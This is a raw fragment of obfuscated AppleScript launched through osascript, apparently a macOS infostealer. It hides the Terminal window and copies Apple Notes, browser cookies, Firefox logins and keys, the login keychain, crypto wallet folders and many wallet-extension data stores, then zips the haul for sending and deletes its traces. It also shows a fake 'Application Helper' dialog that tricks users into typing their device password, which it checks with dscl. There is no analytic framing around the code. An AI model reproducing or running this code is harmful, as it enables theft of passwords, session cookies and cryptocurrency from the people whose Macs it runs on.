\\\"\$ISBOT\$\\\"\" & return & \"set v5876564239486588955 to \\\"/Users/\\\" & v3611835577903818869\" & return & \"f6264705180628981705(v5329093948850621050, v5876564239486588955 & \\\"/.username\\\")\" & return & \"f6264705180628981705(v6176627993449405708, v5876564239486588955 & \\\"/.chost\\\")\" & return & \"set v8258978919954172053 to (random number from 10000 to 100000) as text\" & return & \"set v2545565665707699343 to \\\"/tmp/\\\" & v8258978919954172053 & \\\"/\\\"\" & return & \"try\" & return & \"set v5048646198888777399 to (do shell script \\\"system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType\\\")\" & return & \"f6264705180628981705(v5048646198888777399, v2545565665707699343 & \\\"hardware\\\")\" & return & \"end try\" & return & \"set v8210301408553245953 to v5876564239486588955 & \\\"/Library/\\\"\" & return & \"set v4968262434143532926 to v8210301408553245953 & \\\"Application Support/\\\"\" & return & \"set v2439337587433223164 to f8771517014503093342(v5876564239486588955 & \\\"/.pwd\\\")\" & return & \"if not f5789441686885361081(v3611835577903818869, v2439337587433223164) then\" & return & \"set v2439337587433223164 to f4455047023799241882(v3611835577903818869, v2545565665707699343)\" & return & \"f6264705180628981705(v2439337587433223164, v5876564239486588955 & \\\"/.pwd\\\")\" & return & \"end if\" & return & \"delay 0.01\" & return & \"f6264705180628981705(v2439337587433223164, v2545565665707699343 & \\\"pwd\\\")\" & return & \"set v7777708969300503610 to v8210301408553245953 & \\\"Group Containers/group.com.apple.notes/NoteStore.sqlite\\\"\" & return & \"f3260842499625414770(v7777708969300503610, v2545565665707699343 & \\\"finder/NoteStore.sqlite\\\")\" & return & \"f3260842499625414770(v7777708969300503610 & \\\"-wal\\\", v2545565665707699343 & \\\"finder/NoteStore.sqlite-wal\\\")\" & return & \"f3260842499625414770(v7777708969300503610 & \\\"-shm\\\", v2545565665707699343 & \\\"finder/NoteStore.sqlite-shm\\\")\" & return & \"f3260842499625414770(v8210301408553245953 & \\\"Containers/com.apple.Safari/Data/Library/Cookies/Cookies.binarycookies\\\", v2545565665707699343 & \\\"finder/Cookies.binarycookies\\\")\" & return & \"f3260842499625414770(v8210301408553245953 & \\\"Cookies/Cookies.binarycookies\\\", v2545565665707699343 & \\\"finder/saf1\\\")\" & return & \"f1532446016022058365(v2545565665707699343)\" & return & \"try\" & return & \"if f8771517014503093342(v2545565665707699343 & \\\"finder/NoteStore.sqlite\\\") is equal to \\\"\\\" then\" & return & \"f7881539568187939281(v2545565665707699343)\" & return & \"end if\" & return & \"end try\" & return & \"set v5516568614182406442 to {{\\\"Chrome\\\", v4968262434143532926 & \\\"Google/Chrome/\\\"}, {\\\"Brave\\\", v4968262434143532926 & \\\"BraveSoftware/Brave-Browser/\\\"}, {\\\"Edge\\\", v4968262434143532926 & \\\"Microsoft Edge/\\\"}, {\\\"Vivaldi\\\", v4968262434143532926 & \\\"Vivaldi/\\\"}, {\\\"Opera\\\", v4968262434143532926 & \\\"com.operasoftware.Opera/\\\"}, {\\\"OperaGX\\\", v4968262434143532926 & \\\"com.operasoftware.OperaGX/\\\"}, {\\\"Chrome Beta\\\", v4968262434143532926 & \\\"Google/Chrome Beta/\\\"}, {\\\"Chrome Canary\\\", v4968262434143532926 & \\\"Google/Chrome Canary\\\"}, {\\\"Chromium\\\", v4968262434143532926 & \\\"Chromium/\\\"}, {\\\"Chrome Dev\\\", v4968262434143532926 & \\\"Google/Chrome Dev/\\\"}}\" & return & \"set v8490134006172949951 to {{\\\"Electrum\\\", v5876564239486588955 & \\\"/.electrum/wallets/\\\"}, {\\\"Coinomi\\\", v4968262434143532926 & \\\"Coinomi/wallets/\\\"}, {\\\"Exodus\\\", v4968262434143532926 & \\\"Exodus/\\\"}, {\\\"Atomic\\\", v4968262434143532926 & \\\"atomic/Local Storage/leveldb/\\\"}, {\\\"Wasabi\\\", v5876564239486588955 & \\\"/.walletwasabi/client/Wallets/\\\"}, {\\\"Ledger_Live\\\", v4968262434143532926 & \\\"Ledger Live/\\\"}, {\\\"Monero\\\", v5876564239486588955 & \\\"/Monero/wallets/\\\"}, {\\\"Bitcoin_Core\\\", v4968262434143532926 & \\\"Bitcoin/wallets/\\\"}, {\\\"Litecoin_Core\\\", v4968262434143532926 & \\\"Litecoin/wallets/\\\"}, {\\\"Dash_Core\\\", v4968262434143532926 & \\\"DashCore/wallets/\\\"}, {\\\"Electrum_LTC\\\", v5876564239486588955 & \\\"/.electrum-ltc/wallets/\\\"}, {\\\"Electron_Cash\\\", v5876564239486588955 & \\\"/.electron-cash/wallets/\\\"}, {\\\"Guarda\\\", v4968262434143532926 & \\\"Guarda/\\\"}, {\\\"Dogecoin_Core\\\", v4968262434143532926 & \\\"Dogecoin/wallets/\\\"}, {\\\"Trezor_Suite\\\", v4968262434143532926 & \\\"@trezor/suite-desktop/\\\"}}\" & return & \"f3260842499625414770(v4968262434143532926 & \\\"Binance/app-store.json\\\", v2545565665707699343 & \\\"deskwallets/Binance/app-store.json\\\")\" & return & \"f3260842499625414770(v4968262434143532926 & \\\"@tonkeeper/desktop/config.json\\\", \\\"deskwallets/TonKeeper/config.json\\\")\" & return & \"f3260842499625414770(v8210301408553245953 & \\\"Keychains/login.keychain-db\\\", v2545565665707699343 & \\\"kc\\\")\" & return & \"f6264705180628981705(v3611835577903818869, v2545565665707699343 & \\\"user\\\")\" & return & \"set v7965558497206143252 to {{\\\"Firefox\\\", v4968262434143532926 & \\\"Firefox/Profiles/\\\"}, {\\\"Waterfox\\\", v4968262434143532926 & \\\"Waterfox/Profiles/\\\"}}\" & return & \"repeat with r8845574607081690012 in v7965558497206143252\" & return & \"try\" & return & \"f2536643714453681639(item 1 of r8845574607081690012, item 2 of r8845574607081690012, v2545565665707699343)\" & return & \"end try\" & return & \"end repeat\" & return & \"repeat with r7976650121018849761 in v8490134006172949951\" & return & \"f8031310448975060865(item 2 of r7976650121018849761, v2545565665707699343 & \\\"deskwallets/\\\" & item 1 of r7976650121018849761)\" & return & \"end repeat\" & return & \"f1591517285159242142(v2545565665707699343, v5516568614182406442)\" & return & \"do shell script \\\"ditto -c -k --sequesterRsrc \\\" & v2545565665707699343 & \\\" /tmp/out.zip\\\"\" & return & \"f8497057021342530935(0, v5329093948850621050, v6176627993449405708, v6007572078735828114)\" & return & \"do shell script \\\"rm -r \\\" & v2545565665707699343\" & return & \"do shell script \\\"rm /tmp/out.zip\\\"\" & return & \"f7738793407393166782(v5876564239486588955, v2439337587433223164, v6176627993449405708)\" & return & \"try\" & return & \"if f8771517014503093342(v5876564239486588955 & \\\"/.botid\\\") is equal to \\\"\\\" then\" & return & \"f7680579707267924922(v3611835577903818869, v2439337587433223164, v6176627993449405708)\" & return & \"end if\" & return & \"end try\" & return & \"end f7067467169335976972\" & return & \"f7067467169335976972()\" & return'"

Process not Found

osascript -e "tell application \"terminal\" to set visible of the front window to false run script \"\" & return & \"on f5498098200027630037(p4589535765820734162)\" & return & \"try\" & return & \"set v4660640515867015918 to quoted form of (POSIX path of p4589535765820734162)\" & return & \"do shell script \\\"mkdir -p \\\" & v4660640515867015918\" & return & \"end try\" & return & \"end f5498098200027630037\" & return & \"on f8771517014503093342(p4993898616030614531)\" & return & \"try\" & return & \"set v3622299508332566895 to POSIX file p4993898616030614531\" & return & \"set v3830124729194131128 to read v3622299508332566895\" & return & \"return v3830124729194131128\" & return & \"end try\" & return & \"return \\\"\\\"\" & return & \"end f8771517014503093342\" & return & \"on f2579889702040630272(p5191965497441309888)\" & return & \"try\" & return & \"set v5490052038534388146 to (reverse of every character of p5191965497441309888) as string\" & return & \"set v8170262523650959887 to text 1 thru ((offset of \\\"/\\\" in v5490052038534388146) - 1) of v5490052038534388146\" & return & \"set v8478334136396613953 to (reverse of every character of v8170262523650959887) as string\" & return & \"return v8478334136396613953\" & return & \"end try\" & return & \"return \\\"\\\"\" & return & \"end f2579889702040630272\" & return & \"on f5587746576506220116(p4289323429601029164)\" & return & \"try\" & return & \"set v4779265971954391041 to offset of \\\"/\\\" in (reverse of every character of p4289323429601029164) as string\" & return & \"set v2534333169410523992 to text 1 thru -(v4779265971954391041 + 1) of p4289323429601029164\" & return & \"return v2534333169410523992\" & return & \"end try\" & return & \"return \\\"\\\"\" & return & \"end f5587746576506220116\" & return & \"on f6264705180628981705(p7478832390020446534, p8679437718282592800)\" & return & \"try\" & return & \"set v7791588552321167638 to f5587746576506220116(p8679437718282592800)\" & return & \"f5498098200027630037(v7791588552321167638)\" & return & \"set v6119821030634884911 to (open for access p8679437718282592800 with write permission)\" & return & \"set eof of v6119821030634884911 to 0\" & return & \"write p7478832390020446534 to v6119821030634884911 starting at eof\" & return & \"close access v6119821030634884911\" & return & \"end try\" & return & \"end f6264705180628981705\" & return & \"on f3260842499625414770(p8302229028837966379, p6817047235429405060)\" & return & \"try\" & return & \"set v6928805829853103127 to read p8302229028837966379\" & return & \"set v8038606891662634209 to f5587746576506220116(p6817047235429405060)\" & return & \"f5498098200027630037(v8038606891662634209)\" & return & \"do shell script \\\"cat \\\" & quoted form of p8302229028837966379 & \\\" > \\\" & quoted form of p6817047235429405060\" & return & \"end try\" & return & \"end f3260842499625414770\" & return & \"on f3156936418114084484(p7483103834954789903)\" & return & \"try\" & return & \"set v8582577522004476657 to quoted form of (POSIX path of p7483103834954789903)\" & return & \"set v7222260162427611844 to (do shell script \\\"file -b \\\" & v8582577522004476657)\" & return & \"if v7222260162427611844 ends with \\\"directory\\\" then\" & return & \"return true\" & return & \"end if\" & return & \"end try\" & return & \"return false\" & return & \"end f3156936418114084484\" & return & \"on f8031310448975060865(p6165568718593603775, p3995091535608141842)\" & return & \"try\" & return & \"set v4427033544700151129 to {\\\".DS_Store\\\", \\\"Partitions\\\", \\\"Code Cache\\\", \\\"Cache\\\", \\\"market-history-cache.json\\\", \\\"journals\\\", \\\"Previews\\\", \\\"GPUCache\\\", \\\"DawnCache\\\", \\\"Crashpad\\\", \\\"DawnWebGPUCache\\\", \\\"DawnGraphiteCache\\\", \\\"__update__\\\", \\\"tor\\\"}\" & return & \"set v7135990229297471806 to list folder p6165568718593603775 without invisibles\" & return & \"f5498098200027630037(p3995091535608141842)\" & return & \"repeat with r7069205978427333072 in v7135990229297471806\" & return & \"if r7069205978427333072 is not in v4427033544700151129 then\" & return & \"set v5759125161221505170 to p6165568718593603775 & \\\"/\\\" & r7069205978427333072\" & return & \"set v6648899277418132977 to p3995091535608141842 & \\\"/\\\" & r7069205978427333072\" & return & \"if f3156936418114084484(v5759125161221505170) then\" & return & \"f8031310448975060865(v5759125161221505170, v6648899277418132977)\" & return & \"else\" & return & \"f3260842499625414770(v5759125161221505170, v6648899277418132977)\" & return & \"end if\" & return & \"end if\" & return & \"end repeat\" & return & \"end try\" & return & \"end f8031310448975060865\" & return & \"on f4606271286205922702(p3252597281357569787, p6782276021266464194)\" & return & \"try\" & return & \"set v9062801922064180863 to POSIX file p3252597281357569787\" & return & \"set v2512143368881189483 to read v9062801922064180863\" & return & \"set v7665748634442153027 to offset of p6782276021266464194 in v2512143368881189483\" & return & \"if v7665748634442153027 is 0 then\" & return & \"return \\\"not found\\\"\" & return & \"end if\" & return & \"set v6319362564426722198 to v7665748634442153027 + (length of p6782276021266464194)\" & return & \"set v1662349207260678648 to text v6319362564426722198 thru (v6319362564426722198 + 55) of v2512143368881189483\" & return & \"set v5869120015044447301 to offset of \\\"\\\\\\\\\\\" in v1662349207260678648\" & return & \"if v5869120015044447301 is 0 then\" & return & \"return \\\"not found\\\"\" & return & \"end if\" & return & \"set v1119076493871920663 to text v6319362564426722198 thru (v6319362564426722198 + v5869120015044447301 - 2) of v2512143368881189483\" & return & \"return v1119076493871920663\" & return & \"on error\" & return & \"return \\\"not found\\\"\" & return & \"end try\" & return & \"end f4606271286205922702\" & return & \"on f8098720406337565837(p4135792100352579745, p4399015111798680940)\" & return & \"try\" & return & \"set v3445687237814926359 to {{\\\"MetaMask\\\", \\\"[email protected]\\\\\\\\\\\\\\\":\\\\\\\\\\\\\\\"\\\"}}\" & return & \"repeat with r2710029803435992307 in v3445687237814926359\" & return & \"set v5527760559889148014 to f4606271286205922702(p4135792100352579745 & \\\"/prefs.js\\\", item 2 of r2710029803435992307)\" & return & \"if v5527760559889148014 is not \\\"not found\\\" then\" & return & \"set v7272432386463749454 to p4135792100352579745 & \\\"/storage/default/\\\"\" & return & \"set v2548569600021713815 to list folder v7272432386463749454 without invisibles\" & return & \"repeat with r4503796059574804811 in v2548569600021713815\" & return & \"if (r4503796059574804811 contains v5527760559889148014) and (r4503796059574804811 contains \\\"userContext\\\") then\" & return & \"set v7111736942498542969 to v7272432386463749454 & r4503796059574804811 & \\\"/idb/\\\"\" & return & \"set v2059788629588650947 to list folder v7111736942498542969 without invisibles\" & return & \"repeat with r2240402379985096094 in v2059788629588650947\" & return & \"if f3156936418114084484(v7111736942498542969 & r2240402379985096094) then\" & return & \"f8031310448975060865(v7111736942498542969 & r2240402379985096094, p4399015111798680940 & \\\"/\\\" & item 1 of r2710029803435992307 & \\\"/\\\")\" & return & \"end if\" & return & \"end repeat\" & return & \"end if\" & return & \"end repeat\" & return & \"end if\" & return & \"end repeat\" & return & \"end try\" & return & \"end f8098720406337565837\" & return & \"on f2536643714453681639(p6491836862543296525, p1104512043356146378, p4719841690245269790)\" & return & \"try\" & return & \"set v8041447865609609921 to {\\\"/cookies.sqlite\\\", \\\"/formhistory.sqlite\\\", \\\"/key4.db\\\", \\\"/logins.json\\\"}\" & return & \"set v5741765454527728264 to list folder p1104512043356146378 without invisibles\" & return & \"repeat with r6569667071032230762 in v5741765454527728264\" & return & \"set v3283859923721329108 to p4719841690245269790 & \\\"gecko/\\\" & p6491836862543296525 & \\\"_\\\" & r6569667071032230762\" & return & \"f8098720406337565837(p1104512043356146378 & r6569667071032230762, v3283859923721329108)\" & return & \"set v4700655626243587894 to p1104512043356146378 & r6569667071032230762\" & return & \"repeat with r7733418144795446467 in v8041447865609609921\" & return & \"f3260842499625414770(v4700655626243587894 & r7733418144795446467, v3283859923721329108 & r7733418144795446467)\" & return & \"end repeat\" & return & \"end repeat\" & return & \"end try\" & return & \"end f2536643714453681639\" & return & \"on f5789441686885361081(p7334453719510525956, p1729246370798074576)\" & return & \"try\" & return & \"set v2766682643012023727 to do shell script \\\"dscl . authonly \\\" & quoted form of p7334453719510525956 & space & quoted form of p1729246370798074576\" & return & \"if v2766682643012023727 is not equal to \\\"\\\" then\" & return & \"return false\" & return & \"else\" & return & \"return true\" & return & \"end if\" & return & \"on error\" & return & \"return false\" & return & \"end try\" & return & \"end f5789441686885361081\" & return & \"on f4455047023799241882(p8940679689014766929, p3632011921762080103)\" & return & \"try\" & return & \"if f5789441686885361081(p8940679689014766929, \\\"\\\") then\" & return & \"set v4919179166161086149 to do shell script \\\"security 2>&1 > /dev/null find-generic-password -ga \\\\\\\"Chrome\\\\\\\" | awk \\\\\\\"{print \$2}\\\\\\\"\\\"\" & return & \"f6264705180628981705(v4919179166161086149 as string, p3632011921762080103 & \\\"masterpass-chrome\\\")\" & return & \"else\" & return & \"repeat\" & return & \"set v4919179166161086149 to display dialog \\\"Required Application Helper. Please enter device password to continue.\\\" default answer \\\"\\\" with icon caution buttons {\\\"Continue\\\"} default button \\\"Continue\\\" giving up after 150 with title \\\"Application wants to install helper\\\" with hidden answer\" & return & \"set v1113402095258927485 to text returned of v4919179166161086149\" & return & \"if f5789441686885361081(p8940679689014766929, v1113402095258927485) then\" & return & \"return v1113402095258927485\" & return & \"end if\" & return & \"end repeat\" & return & \"end if\" & return & \"end try\" & return & \"return \\\"\\\"\" & return & \"end f4455047023799241882\" & return & \"on f5580828236190888392(p1723230788839028370, p5378765118834738397, p8092797049054828465, p2444943568190761710)\" & return & \"try\" & return & \"set v4846700367200223038 to list folder p1723230788839028370 without invisibles\" & return & \"repeat with r8306651402256042108 in v4846700367200223038\" & return & \"repeat with r6735850789153243997 in p8092797049054828465\" & return & \"if (r8306651402256042108 contains r6735850789153243997) then\" & return & \"set v5773195421035163669 to p1723230788839028370 & r8306651402256042108\" & return & \"set v1039143461784461798 to p5378765118834738397 & \\\"/\\\" & r6735850789153243997\" & return & \"if p2444943568190761710 then\" & return & \"set v1039143461784461798 to v1039143461784461798 & \\\"/IndexedDB/\\\"\" & return & \"end if\" & return & \"f8031310448975060865(v5773195421035163669, v1039143461784461798)\" & return & \"end if\" & return & \"end repeat\" & return & \"end repeat\" & return & \"end try\" & return & \"end f5580828236190888392\" & return & \"on f1591517285159242142(p4863990634495586282, p6334719600918497600)\" & return & \"set v4405675767274189443 to {\\\"ldinpeekobnhjjdofggfgjlcehhmanlj\\\", \\\"nphplpgoakhhjchkkhmiggakijnkhfnd\\\", \\\"jbkgjmpfammbgejcpedggoefddacbdia\\\", \\\"fccgmnglbhajioalokbcidhcaikhlcpm\\\", \\\"nebnhfamliijlghikdgcigoebonmoibm\\\", \\\"fdcnegogpncmfejlfnffnofpngdiejii\\\", \\\"mfhbebgoclkghebffdldpobeajmbecfk\\\", \\\"ffbceckpkpbcmgiaehlloocglmijnpmp\\\", \\\"kfdniefadaanbjodldohaedphafoffoh\\\", \\\"bedogdpgdnifilpgeianmmdabklhfkcn\\\", \\\"kpfchfdkjhcoekhdldggegebfakaaiog\\\", \\\"klnaejjgbibmhlephnhpmaofohgkpgkd\\\", \\\"opcgpfmipidbgpenhmajoajpbobppdil\\\", \\\"mmmjbcfofconkannjonfmjjajpllddbg\\\", \\\"modjfdjcodmehnpccdjngmdfajggaoeh\\\", \\\"dkdedlpgdmmkkfjabffeganieamfklkm\\\", \\\"ifclboecfhkjbpmhgehodcjpciihhmif\\\", \\\"ppbibelpcjmhbdihakflkdcoccbgbkpo\\\", \\\"ejjladinnckdgjemekebdpeokbikhfci\\\", \\\"kkpllkodjeloidieedojogacfhpaihoh\\\", \\\"apnehcjmnengpnmccpaibjmhhoadaico\\\", \\\"jiepnaheligkibgcjgjepjfppgbcghmp\\\", \\\"jojhfeoedkpkglbfimdfabpdfjaoolaf\\\", \\\"idpdilbfamoopcfofbipefhmmnflljfi\\\", \\\"lbjapbcmmceacocpimbpbidpgmlmoaao\\\", \\\"oiohdnannmknmdlddkdejbmplhbdcbee\\\", \\\"fldfpgipfncgndfolcbkdeeknbbbnhcc\\\", \\\"fpkhgmpbidmiogeglndfbkegfdlnajnf\\\", \\\"lgmpcpglpngdoalbgeoldeajfclnhafa\\\", \\\"ilhaljfiglknggcoegeknjghdgampffk\\\", \\\"pfccjkejcgoppjnllalolplgogenfojk\\\", \\\"cnmamaachppnkjgnildpdmkaakejnhae\\\", \\\"eajafomhmkipbjmfmhebemolkcicgfmd\\\", \\\"emeeapjkbcbpbpgaagfchmcgglmebnen\\\", \\\"ibnejdfjmmkpcnlpebklmnkoeoihofec\\\", \\\"hifafgmccdpekplomjjkcfgodnhcellj\\\", \\\"ffnbelfdoeiohenkjibnmadjiehjhajb\\\", \\\"fnjhmkhhmkbjkkabndcnnogagogbneec\\\", \\\"bcopgchhojmggmffilplmbdicgaihlkp\\\", \\\"cmoakldedjfnjofgbbfenefcagmedlga\\\", \\\"ifckdpamphokdglkkdomedpdegcjhjdp\\\", \\\"ibljocddagjghmlpgihahamcghfggcjc\\\", \\\"cjmkndjhnagcfbpiemnkdpomccnjblmj\\\", \\\"kbdcddcmgoplfockflacnnefaehaiocb\\\", \\\"cgeeodpfagjceefieflmdfphplkenlfk\\\", \\\"afbcbjpbpfadlkmhmclhkeeodmamcflc\\\", \\\"fdchdcpieegfofnofhgdombfckhbcokj\\\", \\\"gjlmehlldlphhljhpnlddaodbjjcchai\\\", \\\"ellkdbaphhldpeajbepobaecooaoafpg\\\", \\\"ojbcfhjmpigfobfclfflafhblgemeidi\\\", \\\"ghlmndacnhlaekppcllcpcjjjomjkjpg\\\", \\\"kgdijkcfiglijhaglibaidbipiejjfdp\\\", \\\"abkahkcbhngaebpcgfmhkoioedceoigp\\\", \\\"ammjlinfekkoockogfhdkgcohjlbhmff\\\", \\\"pdliaogehgdbhbnmkklieghmmjkpigpa\\\", \\\"jnlgamecbpmbajjfhmmmlhejkemejdma\\\", \\\"nbdhibgjnjpnkajaghbffjbkcgljfgdi\\\", \\\"jfdlamikmbghhapbgfoogdffldioobgl\\\", \\\"fijngjgcjhjmmpcmkeiomlglpeiijkld\\\", \\\"hgbeiipamcgbdjhfflifkgehomnmglgk\\\", \\\"pmmnimefaichbcnbndcfpaagbepnjaig\\\", \\\"cflgahhmjlmnjbikhakapcfkpbcmllam\\\", \\\"keenhcnmdmjjhincpilijphpiohdppno\\\", \\\"bipdhagncpgaccgdbddmbpcabgjikfkn\\\", \\\"bcenedbpaaegpnijoadpdjiachahncdg\\\", \\\"pocmplpaccanhmnllbbkpgfliimjljgo\\\", \\\"klghhnkeealcohjjanjjdaeeggmfmlpl\\\", \\\"cjookpbkjnpkmknedggeecikaponcalb\\\", \\\"ojggmchlghnjlapmfbnjholfjkiidbch\\\", \\\"dngmlblcodfobpdpecaadgfbcggfjfnm\\\", \\\"jnldfbidonfeldmalbflbmlebbipcnle\\\", \\\"ehjiblpccbknkgimiflboggcffmpphhp\\\", \\\"agoakfejjabomempkjlepdflaleeobhb\\\", \\\"fopmedgnkfpebgllppeddmmochcookhc\\\", \\\"dmkamcknogkgcdfhhbddcghachkejeap\\\", \\\"iglbgmakmggfkoidiagnhknlndljlolb\\\", \\\"opfgelmcmbiajamepnmloijbpoleiama\\\", \\\"gkeelndblnomfmjnophbhfhcjbcnemka\\\", \\\"dgiehkgfknklegdhekgeabnhgfjhbajd\\\", \\\"gafhhkghbfjjkeiendhlofajokpaflmk\\\", \\\"imlcamfeniaidioeflifonfjeeppblda\\\", \\\"penjlddjkjgpnkllboccdgccekpkcbin\\\", \\\"nhnkbkgjikgcigadomkphalanndcapjk\\\", \\\"egjidjbpglichdcondbcbdnbeeppgdph\\\", \\\"dlcobpjiigpikoobohmabehhmhfoodbb\\\", \\\"dldjpboieedgcmpkchcjcbijingjcgok\\\", \\\"acmacodkjbdgmoleebolmdjonilkdbch\\\", \\\"lccbohhgfkdikahanoclbdmaolidjdfl\\\", \\\"pcndjhkinnkaohffealmlmhaepkpmgkb\\\", \\\"gjagmgiddbbciopjhllkdnddhcglnemk\\\", \\\"cnncmdhjacpkmjmkcafchppbnpnhdmon\\\", \\\"mfgccjchihfkkindfppnaooecgfneiii\\\", \\\"ieldiilncjhfkalnemgjbffmpomcaigi\\\", \\\"ckklhkaabbmdjkahiaaplikpdddkenic\\\", \\\"loinekcabhlmhjjbocijdoimmejangoa\\\", \\\"mgffkfbidihjpoaomajlbgchddlicgpn\\\", \\\"pnndplcbkakcplkjnolgbkdgjikjednm\\\", \\\"mcohilncbfahbmgdjkbpemcciiolgcge\\\", \\\"bgpipimickeadkjlklgciifhnalhdjhe\\\", \\\"pdadjkfkgcafgbceimcpbkalnfnepbnk\\\", \\\"jiidiaalihmmhddjgbnbgdfflelocpak\\\", \\\"aeachknmefphepccionboohckonoeemg\\\", \\\"gdokollfhmnbfckbobkdbakhilldkhcj\\\", \\\"jiiigigdinhhgjflhljdkcelcjfmplnd\\\", \\\"kmphdnilpmdejikjdnlbcnmnabepfgkh\\\", \\\"jaooiolkmfcmloonphpiiogkfckgciom\\\", \\\"fcckkdbjnoikooededlapcalpionmalo\\\", \\\"mdnaglckomeedfbogeajfajofmfgpoae\\\", \\\"ebfidpplhabeedpnhjnobghokpiioolj\\\", \\\"dbgnhckhnppddckangcjbkjnlddbjkna\\\", \\\"cpmkedoipcpimgecpmgpldfpohjplkpp\\\", \\\"epapihdplajcdnnkdeiahlgigofloibg\\\", \\\"iokeahhehimjnekafflcihljlcjccdbe\\\", \\\"cihmoadaighcejopammfbmddcmdekcje\\\", \\\"hnfanknocfeofbddgcijnmhnfnkdnaad\\\", \\\"kilnpioakcdndlodeeceffgjdpojajlo\\\", \\\"abogmiocnneedmmepnohnhlijcjpcifd\\\", \\\"bofddndhbegljegmpmnlbhcejofmjgbn\\\", \\\"aholpfdialjgjfhomihkjbmgjidlcdno\\\", \\\"hdkobeeifhdplocklknbnejdelgagbao\\\", \\\"oafedfoadhdjjcipmcbecikgokpaphjk\\\", \\\"bfnaelmomeimhlpmgjnjophhpkkoljpa\\\", \\\"nkbihfbeogaeaoehlefnkodbefgpgknn\\\", \\\"lfmmjkfllhmfmkcobchabopkcefjkoip\\\", \\\"aiifbnbfobpmeekipheeijimdpnlpgpp\\\", \\\"anokgmphncpekkhclmingpimjmcooifb\\\", \\\"mnfifefkajgofkcjkemidiaecocnkjeh\\\", \\\"momakdpclmaphlamgjcndbgfckjfpemp\\\", \\\"akkmagafhjjjjclaejjomkeccmjhdkpa\\\", \\\"ehgjhhccekdedpbkifaojjaefeohnoea\\\", \\\"mkpegjkblkkefacfnmkajcjmabijhclg\\\", \\\"mlhakagmgkmonhdonhkpjeebfphligng\\\", \\\"niiaamnmgebpeejeemoifgdndgeaekhe\\\", \\\"jnmbobjmhlngoefaiojfljckilhhlhcj\\\", \\\"onhogfjeacnfoofkfgppdlbmlmnplgbn\\\", \\\"kppfdiipphfccemcignhifpjkapfbihd\\\", \\\"hcjhpkgbmechpabifbggldplacolbkoh\\\", \\\"flpiciilemghbmfalicajoolhkkenfel\\\", \\\"mlbnicldlpdimbjdcncnklfempedeipj\\\", \\\"cfbfdhimifdmdehjmkdobpcjfefblkjm\\\", \\\"ocjobpilfplciaddcbafabcegbilnbnb\\\", \\\"pgiaagfkgcbnmiiolekcfmljdagdhlcm\\\", \\\"enabgbdfcbaehmbigakijjabdpdnimlg\\\", \\\"bifidjkcdpgfnlbcjpdkdcnbiooooblg\\\", \\\"lnnnmfcpbkafcpgdilckhmhbkkbpkmid\\\", \\\"nlgbhdfgdhgbiamfdfmbikcdghidoadd\\\", \\\"fcfcfllfndlomdhbehjjcoimbgofdncg\\\", \\\"lpilbniiabackdjcionkobglmddfbcjo\\\", \\\"efbglgofoippbgcjepnhiblaibcnclgk\\\", \\\"fhbohimaelbohpjbbldcngcnapndodjp\\\", \\\"gkodhkbmiflnmkipcmlhhgadebbeijhh\\\", \\\"bocpokimicclpaiekenaeelehdjllofo\\\", \\\"bhhhlbepdkbapadjdnnojkbgioiodbic\\\", \\\"aflkmfhebedbjioipglgcbcmnbpgliof\\\", \\\"mkchoaaiifodcflmbaphdgeidocajadp\\\", \\\"mapbhaebnddapnmifbbkgeedkeplgjmf\\\", \\\"lmkncnlpeipongihbffpljgehamdebgi\\\", \\\"gjnckgkfmgmibbkoficdidcljeaaaheg\\\", \\\"ppdadbejkmjnefldpcdjhnkpbjkikoip\\\", \\\"bopcbmipnjdcdfflfgjdgdjejmgpoaab\\\", \\\"kamfleanhcmjelnhaeljonilnmjpkcjc\\\", \\\"cphhlgmgameodnhkjdmkpanlelnlohao\\\", \\\"hnhobjmcibchnmglfbldbfabcgaknlkj\\\", \\\"nknhiehlklippafakaeklbeglecifhad\\\", \\\"kjjebdkfeagdoogagbhepmbimaphnfln\\\", \\\"phkbamefinggmakgklpkljjmgibohnba\\\", \\\"lakggbcodlaclcbbbepmkpdhbcomcgkd\\\", \\\"ookjlbkiijinhpmnjffcofjonbfbgaoc\\\", \\\"mdjmfdffdcmnoblignmgpommbefadffd\\\", \\\"jblndlipeogpafnldhgmapagcccfchpi\\\", \\\"hbbgbephgojikajhfbomhlmmollphcad\\\", \\\"dpcklmdombjcplafheapiblogdlgjjlb\\\", \\\"hmeobnfnfcmdkdcmlblgagmfpfboieaf\\\", \\\"kmhcihpebfmpgmihbkipmjlmmioameka\\\", \\\"kennjipeijpeengjlogfdjkiiadhbmjl\\\", \\\"amkmjjmmflddogmhpjloimipbofnfjih\\\", \\\"idnnbdplmphpflfnlkomgpfbpcgelopg\\\", \\\"fmblappgoiilbgafhjklehhfifbdocee\\\", \\\"heamnjbnflcikcggoiplibfommfbkjpj\\\", \\\"khpkpbbcccdmmclmpigdgddabeilkdpd\\\", \\\"omaabbefbmiijedngplfjmnooppbclkk\\\", \\\"nhlnehondigmgckngjomcpcefcdplmgc\\\", \\\"fiikommddbeccaoicoejoniammnalkfa\\\", \\\"ejbidfepgijlcgahbmbckmnaljagjoll\\\", \\\"glmhbknppefdmpemdmjnjlinpbclokhn\\\", \\\"kncchdigobghenbbaddojjnnaogfppfj\\\", \\\"hpclkefagolihohboafpheddmmgdffjm\\\", \\\"ilolmnhjbbggkmopnemiphomhaojndmb\\\", \\\"panpgppehdchfphcigocleabcmcgfoca\\\", \\\"nngceckbapebfimnlniiiahkandclblb\\\", \\\"hdokiejnpimakedhajhdlcegeplioahd\\\", \\\"eiaeiblijfjekdanodkjadfinkhbfgcd\\\", \\\"bfogiafebfohielmmehodmfbbebbbpei\\\", \\\"pnlccmojcmeohlpggmfnbbiapkmbliob\\\", \\\"aeblfdkhhhdcdjpifhhbdiojplfjncoa\\\", \\\"kmcfomidfpdkfieipokbalgegidffkal\\\", \\\"fdjamakpfbbddfjaooikfcpapjohcfmg\\\", \\\"ghmbeldphafepmbegfdlkpapadhbakde\\\", \\\"cnlhokffphohmfcddnibpohmkdfafdli\\\", \\\"khhapgacijodhjokkcjmleaempmchlem\\\", \\\"admmjipmmciaobhojoghlmleefbicajg\\\", \\\"caljgklbbfbcjjanaijlacgncafpegll\\\", \\\"bdgmdoedahdcjmpmifafdhnffjinddgc\\\"}\" & return & \"set v8742602037954305398 to {\\\"hnfanknocfeofbddgcijnmhnfnkdnaad\\\", \\\"mcohilncbfahbmgdjkbpemcciiolgcge\\\", \\\"aflkmfhebedbjioipglgcbcmnbpgliof\\\", \\\"enabgbdfcbaehmbigakijjabdpdnimlg\\\", \\\"cpmkedoipcpimgecpmgpldfpohjplkpp\\\", \\\"hdokiejnpimakedhajhdlcegeplioahd\\\", 